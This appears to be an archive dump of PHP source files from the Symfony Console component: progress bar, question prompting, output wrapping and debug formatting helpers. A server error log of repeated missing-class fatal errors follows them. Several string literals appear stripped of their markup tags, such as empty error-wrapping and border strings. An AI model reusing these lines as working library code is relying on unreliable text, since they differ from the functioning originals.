self::$formats[$name] = $format; } /** * Gets the format for a given name. * * @param string $name The format name */ public static function getFormatDefinition(string $name): ?string { self::$formats ??= self::initFormats(); return self::$formats[$name] ?? null; } /** * Associates a text with a named placeholder. * * The text is displayed when the progress bar is rendered but only * when the corresponding placeholder is part of the custom format line * (by wrapping the name with %). * * @param string $message The text to associate with the placeholder * @param string $name The name of the placeholder */ public function setMessage(string $message, string $name = 'message'): void { $this->messages[$name] = $message; } public function getMessage(string $name = 'message'): string { return $this->messages[$name]; } public function getStartTime(): int { return $this->startTime; } public function getMaxSteps(): int { return $this->max; } public function getProgress(): int { return $this->step; } private function getStepWidth(): int { return $this->stepWidth; } public function getProgressPercent(): float { return $this->percent; } public function getBarOffset(): float { return floor($this->max ? $this->percent * $this->barWidth : (null === $this->redrawFreq ? (int) (min(5, $this->barWidth / 15) * $this->writeCount) : $this->step) % $this->barWidth); } public function getEstimated(): float { if (0 === $this->step || $this->step === $this->startingStep) { return 0; } return round((time() - $this->startTime) / ($this->step - $this->startingStep) * $this->max); } public function getRemaining(): float { if (!$this->step) { return 0; } return round((time() - $this->startTime) / ($this->step - $this->startingStep) * ($this->max - $this->step)); } public function setBarWidth(int $size): void { $this->barWidth = max(1, $size); } public function getBarWidth(): int { return $this->barWidth; } public function setBarCharacter(string $char): void { $this->barChar = $char; } public function getBarCharacter(): string { return $this->barChar ?? ($this->max ? '=' : $this->emptyBarChar); } public function setEmptyBarCharacter(string $char): void { $this->emptyBarChar = $char; } public function getEmptyBarCharacter(): string { return $this->emptyBarChar; } public function setProgressCharacter(string $char): void { $this->progressChar = $char; } public function getProgressCharacter(): string { return $this->progressChar; } public function setFormat(string $format): void { $this->format = null; $this->internalFormat = $format; } /** * Sets the redraw frequency. * * @param int|null $freq The frequency in steps */ public function setRedrawFrequency(?int $freq): void { $this->redrawFreq = null !== $freq ? max(1, $freq) : null; } public function minSecondsBetweenRedraws(float $seconds): void { $this->minSecondsBetweenRedraws = $seconds; } public function maxSecondsBetweenRedraws(float $seconds): void { $this->maxSecondsBetweenRedraws = $seconds; } /** * Returns an iterator that will automatically update the progress bar when iterated. * * @param int|null $max Number of steps to complete the bar (0 if indeterminate), if null it will be inferred from $iterable */ public function iterate(iterable $iterable, int $max = null): iterable { $this->start($max ?? (is_countable($iterable) ? \count($iterable) : 0)); foreach ($iterable as $key => $value) { yield $key => $value; $this->advance(); } $this->finish(); } /** * Starts the progress output. * * @param int|null $max Number of steps to complete the bar (0 if indeterminate), null to leave unchanged * @param int $startAt The starting point of the bar (useful e.g. when resuming a previously started bar) */ public function start(int $max = null, int $startAt = 0): void { $this->startTime = time(); $this->step = $startAt; $this->startingStep = $startAt; $startAt > 0 ? $this->setProgress($startAt) : $this->percent = 0.0; if (null !== $max) { $this->setMaxSteps($max); } $this->display(); } /** * Advances the progress output X steps. * * @param int $step Number of steps to advance */ public function advance(int $step = 1): void { $this->setProgress($this->step + $step); } /** * Sets whether to overwrite the progressbar, false for new line. */ public function setOverwrite(bool $overwrite): void { $this->overwrite = $overwrite; } public function setProgress(int $step): void { if ($this->max && $step > $this->max) { $this->max = $step; } elseif ($step < 0) { $step = 0; } $redrawFreq = $this->redrawFreq ?? (($this->max ?: 10) / 10); $prevPeriod = (int) ($this->step / $redrawFreq); $currPeriod = (int) ($step / $redrawFreq); $this->step = $step; $this->percent = $this->max ? (float) $this->step / $this->max : 0; $timeInterval = microtime(true) - $this->lastWriteTime; // Draw regardless of other limits if ($this->max === $step) { $this->display(); return; } // Throttling if ($timeInterval < $this->minSecondsBetweenRedraws) { return; } // Draw each step period, but not too late if ($prevPeriod !== $currPeriod || $timeInterval >= $this->maxSecondsBetweenRedraws) { $this->display(); } } public function setMaxSteps(int $max): void { $this->format = null; $this->max = max(0, $max); $this->stepWidth = $this->max ? Helper::width((string) $this->max) : 4; } /** * Finishes the progress output. */ public function finish(): void { if (!$this->max) { $this->max = $this->step; } if ($this->step === $this->max && !$this->overwrite) { // prevent double 100% output return; } $this->setProgress($this->max); } /** * Outputs the current progress string. */ public function display(): void { if (OutputInterface::VERBOSITY_QUIET === $this->output->getVerbosity()) { return; } if (null === $this->format) { $this->setRealFormat($this->internalFormat ?: $this->determineBestFormat()); } $this->overwrite($this->buildLine()); } /** * Removes the progress bar from the current line. * * This is useful if you wish to write some output * while a progress bar is running. * Call display() to show the progress bar again. */ public function clear(): void { if (!$this->overwrite) { return; } if (null === $this->format) { $this->setRealFormat($this->internalFormat ?: $this->determineBestFormat()); } $this->overwrite(''); } private function setRealFormat(string $format): void { // try to use the _nomax variant if available if (!$this->max && null !== self::getFormatDefinition($format.'_nomax')) { $this->format = self::getFormatDefinition($format.'_nomax'); } elseif (null !== self::getFormatDefinition($format)) { $this->format = self::getFormatDefinition($format); } else { $this->format = $format; } } /** * Overwrites a previous message to the output. */ private function overwrite(string $message): void { if ($this->previousMessage === $message) { return; } $originalMessage = $message; if ($this->overwrite) { if (null !== $this->previousMessage) { if ($this->output instanceof ConsoleSectionOutput) { $messageLines = explode("\n", $this->previousMessage); $lineCount = \count($messageLines); foreach ($messageLines as $messageLine) { $messageLineLength = Helper::width(Helper::removeDecoration($this->output->getFormatter(), $messageLine)); if ($messageLineLength > $this->terminal->getWidth()) { $lineCount += floor($messageLineLength / $this->terminal->getWidth()); } } $this->output->clear($lineCount); } else { $lineCount = substr_count($this->previousMessage, "\n"); for ($i = 0; $i < $lineCount; ++$i) { $this->cursor->moveToColumn(1); $this->cursor->clearLine(); $this->cursor->moveUp(); } $this->cursor->moveToColumn(1); $this->cursor->clearLine(); } } } elseif ($this->step > 0) { $message = \PHP_EOL.$message; } $this->previousMessage = $originalMessage; $this->lastWriteTime = microtime(true); $this->output->write($message); ++$this->writeCount; } private function determineBestFormat(): string { return match ($this->output->getVerbosity()) { // OutputInterface::VERBOSITY_QUIET: display is disabled anyway OutputInterface::VERBOSITY_VERBOSE => $this->max ? self::FORMAT_VERBOSE : self::FORMAT_VERBOSE_NOMAX, OutputInterface::VERBOSITY_VERY_VERBOSE => $this->max ? self::FORMAT_VERY_VERBOSE : self::FORMAT_VERY_VERBOSE_NOMAX, OutputInterface::VERBOSITY_DEBUG => $this->max ? self::FORMAT_DEBUG : self::FORMAT_DEBUG_NOMAX, default => $this->max ? self::FORMAT_NORMAL : self::FORMAT_NORMAL_NOMAX, }; } private static function initPlaceholderFormatters(): array { return [ 'bar' => function (self $bar, OutputInterface $output) { $completeBars = $bar->getBarOffset(); $display = str_repeat($bar->getBarCharacter(), $completeBars); if ($completeBars < $bar->getBarWidth()) { $emptyBars = $bar->getBarWidth() - $completeBars - Helper::length(Helper::removeDecoration($output->getFormatter(), $bar->getProgressCharacter())); $display .= $bar->getProgressCharacter().str_repeat($bar->getEmptyBarCharacter(), $emptyBars); } return $display; }, 'elapsed' => fn (self $bar) => Helper::formatTime(time() - $bar->getStartTime()), 'remaining' => function (self $bar) { if (!$bar->getMaxSteps()) { throw new LogicException('Unable to display the remaining time if the maximum number of steps is not set.'); } return Helper::formatTime($bar->getRemaining()); }, 'estimated' => function (self $bar) { if (!$bar->getMaxSteps()) { throw new LogicException('Unable to display the estimated time if the maximum number of steps is not set.'); } return Helper::formatTime($bar->getEstimated()); }, 'memory' => fn (self $bar) => Helper::formatMemory(memory_get_usage(true)), 'current' => fn (self $bar) => str_pad($bar->getProgress(), $bar->getStepWidth(), ' ', \STR_PAD_LEFT), 'max' => fn (self $bar) => $bar->getMaxSteps(), 'percent' => fn (self $bar) => floor($bar->getProgressPercent() * 100), ]; } private static function initFormats(): array { return [ self::FORMAT_NORMAL => ' %current%/%max% [%bar%] %percent:3s%%', self::FORMAT_NORMAL_NOMAX => ' %current% [%bar%]', self::FORMAT_VERBOSE => ' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%', self::FORMAT_VERBOSE_NOMAX => ' %current% [%bar%] %elapsed:6s%', self::FORMAT_VERY_VERBOSE => ' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%/%estimated:-6s%', self::FORMAT_VERY_VERBOSE_NOMAX => ' %current% [%bar%] %elapsed:6s%', self::FORMAT_DEBUG => ' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%/%estimated:-6s% %memory:6s%', self::FORMAT_DEBUG_NOMAX => ' %current% [%bar%] %elapsed:6s% %memory:6s%', ]; } private function buildLine(): string { \assert(null !== $this->format); $regex = "{%([a-z\-_]+)(?:\:([^%]+))?%}i"; $callback = function ($matches) { if ($formatter = $this->getPlaceholderFormatter($matches[1])) { $text = $formatter($this, $this->output); } elseif (isset($this->messages[$matches[1]])) { $text = $this->messages[$matches[1]]; } else { return $matches[0]; } if (isset($matches[2])) { $text = sprintf('%'.$matches[2], $text); } return $text; }; $line = preg_replace_callback($regex, $callback, $this->format); // gets string length for each sub line with multiline format $linesLength = array_map(fn ($subLine) => Helper::width(Helper::removeDecoration($this->output->getFormatter(), rtrim($subLine, "\r"))), explode("\n", $line)); $linesWidth = max($linesLength); $terminalWidth = $this->terminal->getWidth(); if ($linesWidth <= $terminalWidth) { return $line; } $this->setBarWidth($this->barWidth - $linesWidth + $terminalWidth); return preg_replace_callback($regex, $callback, $this->format); } } console/Helper/QuestionHelper.php000064400000046576151113511740013126 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Cursor; use Symfony\Component\Console\Exception\MissingInputException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Formatter\OutputFormatterStyle; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\StreamableInputInterface; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\ConsoleSectionOutput; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ChoiceQuestion; use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Terminal; use function Symfony\Component\String\s; /** * The QuestionHelper class provides helpers to interact with the user. * * @author Fabien Potencier */ class QuestionHelper extends Helper { /** * @var resource|null */ private $inputStream; private static bool $stty = true; private static bool $stdinIsInteractive; /** * Asks a question to the user. * * @return mixed The user answer * * @throws RuntimeException If there is no data to read in the input stream */ public function ask(InputInterface $input, OutputInterface $output, Question $question): mixed { if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } if (!$input->isInteractive()) { return $this->getDefaultAnswer($question); } if ($input instanceof StreamableInputInterface && $stream = $input->getStream()) { $this->inputStream = $stream; } try { if (!$question->getValidator()) { return $this->doAsk($output, $question); } $interviewer = fn () => $this->doAsk($output, $question); return $this->validateAttempts($interviewer, $output, $question); } catch (MissingInputException $exception) { $input->setInteractive(false); if (null === $fallbackOutput = $this->getDefaultAnswer($question)) { throw $exception; } return $fallbackOutput; } } public function getName(): string { return 'question'; } /** * Prevents usage of stty. * * @return void */ public static function disableStty() { self::$stty = false; } /** * Asks the question to the user. * * @throws RuntimeException In case the fallback is deactivated and the response cannot be hidden */ private function doAsk(OutputInterface $output, Question $question): mixed { $this->writePrompt($output, $question); $inputStream = $this->inputStream ?: \STDIN; $autocomplete = $question->getAutocompleterCallback(); if (null === $autocomplete || !self::$stty || !Terminal::hasSttyAvailable()) { $ret = false; if ($question->isHidden()) { try { $hiddenResponse = $this->getHiddenResponse($output, $inputStream, $question->isTrimmable()); $ret = $question->isTrimmable() ? trim($hiddenResponse) : $hiddenResponse; } catch (RuntimeException $e) { if (!$question->isHiddenFallback()) { throw $e; } } } if (false === $ret) { $isBlocked = stream_get_meta_data($inputStream)['blocked'] ?? true; if (!$isBlocked) { stream_set_blocking($inputStream, true); } $ret = $this->readInput($inputStream, $question); if (!$isBlocked) { stream_set_blocking($inputStream, false); } if (false === $ret) { throw new MissingInputException('Aborted.'); } if ($question->isTrimmable()) { $ret = trim($ret); } } } else { $autocomplete = $this->autocomplete($output, $question, $inputStream, $autocomplete); $ret = $question->isTrimmable() ? trim($autocomplete) : $autocomplete; } if ($output instanceof ConsoleSectionOutput) { $output->addContent(''); // add EOL to the question $output->addContent($ret); } $ret = \strlen($ret) > 0 ? $ret : $question->getDefault(); if ($normalizer = $question->getNormalizer()) { return $normalizer($ret); } return $ret; } private function getDefaultAnswer(Question $question): mixed { $default = $question->getDefault(); if (null === $default) { return $default; } if ($validator = $question->getValidator()) { return \call_user_func($validator, $default); } elseif ($question instanceof ChoiceQuestion) { $choices = $question->getChoices(); if (!$question->isMultiselect()) { return $choices[$default] ?? $default; } $default = explode(',', $default); foreach ($default as $k => $v) { $v = $question->isTrimmable() ? trim($v) : $v; $default[$k] = $choices[$v] ?? $v; } } return $default; } /** * Outputs the question prompt. * * @return void */ protected function writePrompt(OutputInterface $output, Question $question) { $message = $question->getQuestion(); if ($question instanceof ChoiceQuestion) { $output->writeln(array_merge([ $question->getQuestion(), ], $this->formatChoiceQuestionChoices($question, 'info'))); $message = $question->getPrompt(); } $output->write($message); } /** * @return string[] */ protected function formatChoiceQuestionChoices(ChoiceQuestion $question, string $tag): array { $messages = []; $maxWidth = max(array_map([__CLASS__, 'width'], array_keys($choices = $question->getChoices()))); foreach ($choices as $key => $value) { $padding = str_repeat(' ', $maxWidth - self::width($key)); $messages[] = sprintf(" [<$tag>%s$padding] %s", $key, $value); } return $messages; } /** * Outputs an error message. * * @return void */ protected function writeError(OutputInterface $output, \Exception $error) { if (null !== $this->getHelperSet() && $this->getHelperSet()->has('formatter')) { $message = $this->getHelperSet()->get('formatter')->formatBlock($error->getMessage(), 'error'); } else { $message = ''.$error->getMessage().''; } $output->writeln($message); } /** * Autocompletes a question. * * @param resource $inputStream */ private function autocomplete(OutputInterface $output, Question $question, $inputStream, callable $autocomplete): string { $cursor = new Cursor($output, $inputStream); $fullChoice = ''; $ret = ''; $i = 0; $ofs = -1; $matches = $autocomplete($ret); $numMatches = \count($matches); $sttyMode = shell_exec('stty -g'); $isStdin = 'php://stdin' === (stream_get_meta_data($inputStream)['uri'] ?? null); $r = [$inputStream]; $w = []; // Disable icanon (so we can fread each keypress) and echo (we'll do echoing here instead) shell_exec('stty -icanon -echo'); // Add highlighted text style $output->getFormatter()->setStyle('hl', new OutputFormatterStyle('black', 'white')); // Read a keypress while (!feof($inputStream)) { while ($isStdin && 0 === @stream_select($r, $w, $w, 0, 100)) { // Give signal handlers a chance to run $r = [$inputStream]; } $c = fread($inputStream, 1); // as opposed to fgets(), fread() returns an empty string when the stream content is empty, not false. if (false === $c || ('' === $ret && '' === $c && null === $question->getDefault())) { shell_exec('stty '.$sttyMode); throw new MissingInputException('Aborted.'); } elseif ("\177" === $c) { // Backspace Character if (0 === $numMatches && 0 !== $i) { --$i; $cursor->moveLeft(s($fullChoice)->slice(-1)->width(false)); $fullChoice = self::substr($fullChoice, 0, $i); } if (0 === $i) { $ofs = -1; $matches = $autocomplete($ret); $numMatches = \count($matches); } else { $numMatches = 0; } // Pop the last character off the end of our string $ret = self::substr($ret, 0, $i); } elseif ("\033" === $c) { // Did we read an escape sequence? $c .= fread($inputStream, 2); // A = Up Arrow. B = Down Arrow if (isset($c[2]) && ('A' === $c[2] || 'B' === $c[2])) { if ('A' === $c[2] && -1 === $ofs) { $ofs = 0; } if (0 === $numMatches) { continue; } $ofs += ('A' === $c[2]) ? -1 : 1; $ofs = ($numMatches + $ofs) % $numMatches; } } elseif (\ord($c) < 32) { if ("\t" === $c || "\n" === $c) { if ($numMatches > 0 && -1 !== $ofs) { $ret = (string) $matches[$ofs]; // Echo out remaining chars for current match $remainingCharacters = substr($ret, \strlen(trim($this->mostRecentlyEnteredValue($fullChoice)))); $output->write($remainingCharacters); $fullChoice .= $remainingCharacters; $i = (false === $encoding = mb_detect_encoding($fullChoice, null, true)) ? \strlen($fullChoice) : mb_strlen($fullChoice, $encoding); $matches = array_filter( $autocomplete($ret), fn ($match) => '' === $ret || str_starts_with($match, $ret) ); $numMatches = \count($matches); $ofs = -1; } if ("\n" === $c) { $output->write($c); break; } $numMatches = 0; } continue; } else { if ("\x80" <= $c) { $c .= fread($inputStream, ["\xC0" => 1, "\xD0" => 1, "\xE0" => 2, "\xF0" => 3][$c & "\xF0"]); } $output->write($c); $ret .= $c; $fullChoice .= $c; ++$i; $tempRet = $ret; if ($question instanceof ChoiceQuestion && $question->isMultiselect()) { $tempRet = $this->mostRecentlyEnteredValue($fullChoice); } $numMatches = 0; $ofs = 0; foreach ($autocomplete($ret) as $value) { // If typed characters match the beginning chunk of value (e.g. [AcmeDe]moBundle) if (str_starts_with($value, $tempRet)) { $matches[$numMatches++] = $value; } } } $cursor->clearLineAfter(); if ($numMatches > 0 && -1 !== $ofs) { $cursor->savePosition(); // Write highlighted text, complete the partially entered response $charactersEntered = \strlen(trim($this->mostRecentlyEnteredValue($fullChoice))); $output->write(''.OutputFormatter::escapeTrailingBackslash(substr($matches[$ofs], $charactersEntered)).''); $cursor->restorePosition(); } } // Reset stty so it behaves normally again shell_exec('stty '.$sttyMode); return $fullChoice; } private function mostRecentlyEnteredValue(string $entered): string { // Determine the most recent value that the user entered if (!str_contains($entered, ',')) { return $entered; } $choices = explode(',', $entered); if ('' !== $lastChoice = trim($choices[\count($choices) - 1])) { return $lastChoice; } return $entered; } /** * Gets a hidden response from user. * * @param resource $inputStream The handler resource * @param bool $trimmable Is the answer trimmable * * @throws RuntimeException In case the fallback is deactivated and the response cannot be hidden */ private function getHiddenResponse(OutputInterface $output, $inputStream, bool $trimmable = true): string { if ('\\' === \DIRECTORY_SEPARATOR) { $exe = __DIR__.'/../Resources/bin/hiddeninput.exe'; // handle code running from a phar if (str_starts_with(__FILE__, 'phar:')) { $tmpExe = sys_get_temp_dir().'/hiddeninput.exe'; copy($exe, $tmpExe); $exe = $tmpExe; } $sExec = shell_exec('"'.$exe.'"'); $value = $trimmable ? rtrim($sExec) : $sExec; $output->writeln(''); if (isset($tmpExe)) { unlink($tmpExe); } return $value; } if (self::$stty && Terminal::hasSttyAvailable()) { $sttyMode = shell_exec('stty -g'); shell_exec('stty -echo'); } elseif ($this->isInteractiveInput($inputStream)) { throw new RuntimeException('Unable to hide the response.'); } $value = fgets($inputStream, 4096); if (4095 === \strlen($value)) { $errOutput = $output instanceof ConsoleOutputInterface ? $output->getErrorOutput() : $output; $errOutput->warning('The value was possibly truncated by your shell or terminal emulator'); } if (self::$stty && Terminal::hasSttyAvailable()) { shell_exec('stty '.$sttyMode); } if (false === $value) { throw new MissingInputException('Aborted.'); } if ($trimmable) { $value = trim($value); } $output->writeln(''); return $value; } /** * Validates an attempt. * * @param callable $interviewer A callable that will ask for a question and return the result * * @throws \Exception In case the max number of attempts has been reached and no valid response has been given */ private function validateAttempts(callable $interviewer, OutputInterface $output, Question $question): mixed { $error = null; $attempts = $question->getMaxAttempts(); while (null === $attempts || $attempts--) { if (null !== $error) { $this->writeError($output, $error); } try { return $question->getValidator()($interviewer()); } catch (RuntimeException $e) { throw $e; } catch (\Exception $error) { } } throw $error; } private function isInteractiveInput($inputStream): bool { if ('php://stdin' !== (stream_get_meta_data($inputStream)['uri'] ?? null)) { return false; } if (isset(self::$stdinIsInteractive)) { return self::$stdinIsInteractive; } if (\function_exists('stream_isatty')) { return self::$stdinIsInteractive = @stream_isatty(fopen('php://stdin', 'r')); } if (\function_exists('posix_isatty')) { return self::$stdinIsInteractive = @posix_isatty(fopen('php://stdin', 'r')); } if (!\function_exists('shell_exec')) { return self::$stdinIsInteractive = true; } return self::$stdinIsInteractive = (bool) shell_exec('stty 2> '.('\\' === \DIRECTORY_SEPARATOR ? 'NUL' : '/dev/null')); } /** * Reads one or more lines of input and returns what is read. * * @param resource $inputStream The handler resource * @param Question $question The question being asked */ private function readInput($inputStream, Question $question): string|false { if (!$question->isMultiline()) { $cp = $this->setIOCodepage(); $ret = fgets($inputStream, 4096); return $this->resetIOCodepage($cp, $ret); } $multiLineStreamReader = $this->cloneInputStream($inputStream); if (null === $multiLineStreamReader) { return false; } $ret = ''; $cp = $this->setIOCodepage(); while (false !== ($char = fgetc($multiLineStreamReader))) { if (\PHP_EOL === "{$ret}{$char}") { break; } $ret .= $char; } return $this->resetIOCodepage($cp, $ret); } private function setIOCodepage(): int { if (\function_exists('sapi_windows_cp_set')) { $cp = sapi_windows_cp_get(); sapi_windows_cp_set(sapi_windows_cp_get('oem')); return $cp; } return 0; } /** * Sets console I/O to the specified code page and converts the user input. */ private function resetIOCodepage(int $cp, string|false $input): string|false { if (0 !== $cp) { sapi_windows_cp_set($cp); if (false !== $input && '' !== $input) { $input = sapi_windows_cp_conv(sapi_windows_cp_get('oem'), $cp, $input); } } return $input; } /** * Clones an input stream in order to act on one instance of the same * stream without affecting the other instance. * * @param resource $inputStream The handler resource * * @return resource|null The cloned resource, null in case it could not be cloned */ private function cloneInputStream($inputStream) { $streamMetaData = stream_get_meta_data($inputStream); $seekable = $streamMetaData['seekable'] ?? false; $mode = $streamMetaData['mode'] ?? 'rb'; $uri = $streamMetaData['uri'] ?? null; if (null === $uri) { return null; } $cloneStream = fopen($uri, $mode); // For seekable and writable streams, add all the same data to the // cloned stream and then seek to the same offset. if (true === $seekable && !\in_array($mode, ['r', 'rb', 'rt'])) { $offset = ftell($inputStream); rewind($inputStream); stream_copy_to_stream($inputStream, $cloneStream); fseek($inputStream, $offset); fseek($cloneStream, $offset); } return $cloneStream; } } console/Helper/OutputWrapper.php000064400000005700151113511740013000 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * Simple output wrapper for "tagged outputs" instead of wordwrap(). This solution is based on a StackOverflow * answer: https://stackoverflow.com/a/20434776/1476819 from user557597 (alias SLN). * * (?: * # -- Words/Characters * ( # (1 start) * (?> # Atomic Group - Match words with valid breaks * .{1,16} # 1-N characters * # Followed by one of 4 prioritized, non-linebreak whitespace * (?: # break types: * (?<= [^\S\r\n] ) # 1. - Behind a non-linebreak whitespace * [^\S\r\n]? # ( optionally accept an extra non-linebreak whitespace ) * | (?= \r? \n ) # 2. - Ahead a linebreak * | $ # 3. - EOS * | [^\S\r\n] # 4. - Accept an extra non-linebreak whitespace * ) * ) # End atomic group * | * .{1,16} # No valid word breaks, just break on the N'th character * ) # (1 end) * (?: \r? \n )? # Optional linebreak after Words/Characters * | * # -- Or, Linebreak * (?: \r? \n | $ ) # Stand alone linebreak or at EOS * ) * * @author Krisztián Ferenczi * * @see https://stackoverflow.com/a/20434776/1476819 */ final class OutputWrapper { private const TAG_OPEN_REGEX_SEGMENT = '[a-z](?:[^\\\\<>]*+ | \\\\.)*'; private const TAG_CLOSE_REGEX_SEGMENT = '[a-z][^<>]*+'; private const URL_PATTERN = 'https?://\S+'; public function __construct( private bool $allowCutUrls = false ) { } public function wrap(string $text, int $width, string $break = "\n"): string { if (!$width) { return $text; } $tagPattern = sprintf('<(?:(?:%s)|/(?:%s)?)>', self::TAG_OPEN_REGEX_SEGMENT, self::TAG_CLOSE_REGEX_SEGMENT); $limitPattern = "{1,$width}"; $patternBlocks = [$tagPattern]; if (!$this->allowCutUrls) { $patternBlocks[] = self::URL_PATTERN; } $patternBlocks[] = '.'; $blocks = implode('|', $patternBlocks); $rowPattern = "(?:$blocks)$limitPattern"; $pattern = sprintf('#(?:((?>(%1$s)((?<=[^\S\r\n])[^\S\r\n]?|(?=\r?\n)|$|[^\S\r\n]))|(%1$s))(?:\r?\n)?|(?:\r?\n|$))#imux', $rowPattern); $output = rtrim(preg_replace($pattern, '\\1'.$break, $text), $break); return str_replace(' '.$break, $break, $output); } } console/Helper/DebugFormatterHelper.php000064400000006370151113511740014215 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * Helps outputting debug information when running an external program from a command. * * An external program can be a Process, an HTTP request, or anything else. * * @author Fabien Potencier */ class DebugFormatterHelper extends Helper { private const COLORS = ['black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white', 'default']; private array $started = []; private int $count = -1; /** * Starts a debug formatting session. */ public function start(string $id, string $message, string $prefix = 'RUN'): string { $this->started[$id] = ['border' => ++$this->count % \count(self::COLORS)]; return sprintf("%s %s %s\n", $this->getBorder($id), $prefix, $message); } /** * Adds progress to a formatting session. */ public function progress(string $id, string $buffer, bool $error = false, string $prefix = 'OUT', string $errorPrefix = 'ERR'): string { $message = ''; if ($error) { if (isset($this->started[$id]['out'])) { $message .= "\n"; unset($this->started[$id]['out']); } if (!isset($this->started[$id]['err'])) { $message .= sprintf('%s %s ', $this->getBorder($id), $errorPrefix); $this->started[$id]['err'] = true; } $message .= str_replace("\n", sprintf("\n%s %s ", $this->getBorder($id), $errorPrefix), $buffer); } else { if (isset($this->started[$id]['err'])) { $message .= "\n"; unset($this->started[$id]['err']); } if (!isset($this->started[$id]['out'])) { $message .= sprintf('%s %s ', $this->getBorder($id), $prefix); $this->started[$id]['out'] = true; } $message .= str_replace("\n", sprintf("\n%s %s ", $this->getBorder($id), $prefix), $buffer); } return $message; } /** * Stops a formatting session. */ public function stop(string $id, string $message, bool $successful, string $prefix = 'RES'): string { $trailingEOL = isset($this->started[$id]['out']) || isset($this->started[$id]['err']) ? "\n" : ''; if ($successful) { return sprintf("%s%s %s %s\n", $trailingEOL, $this->getBorder($id), $prefix, $message); } $message = sprintf("%s%s %s %s\n", $trailingEOL, $this->getBorder($id), $prefix, $message); unset($this->started[$id]['out'], $this->started[$id]['err']); return $message; } private function getBorder(string $id): string { return sprintf(' ', self::COLORS[$this->started[$id]['border']]); } public function getName(): string { return 'debug_formatter'; } } console/Helper/error_log000064400000031526151113511740011350 0ustar00[19-Nov-2025 21:35:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\QuestionHelper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php on line 26 [19-Nov-2025 22:26:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [19-Nov-2025 22:28:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php on line 21 [19-Nov-2025 22:41:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\QuestionHelper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php on line 26 [19-Nov-2025 22:45:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [19-Nov-2025 22:48:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php on line 21 [19-Nov-2025 23:02:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php on line 21 [19-Nov-2025 23:06:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\QuestionHelper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php on line 26 [19-Nov-2025 23:13:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php on line 28 [19-Nov-2025 23:21:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DebugFormatterHelper.php on line 21 [19-Nov-2025 23:25:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\QuestionHelper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/SymfonyQuestionHelper.php on line 26 [20-Nov-2025 03:50:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Helper\Helper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Helper/DescriptorHelper.php:28 Stack trace: #0 {main} thrown in 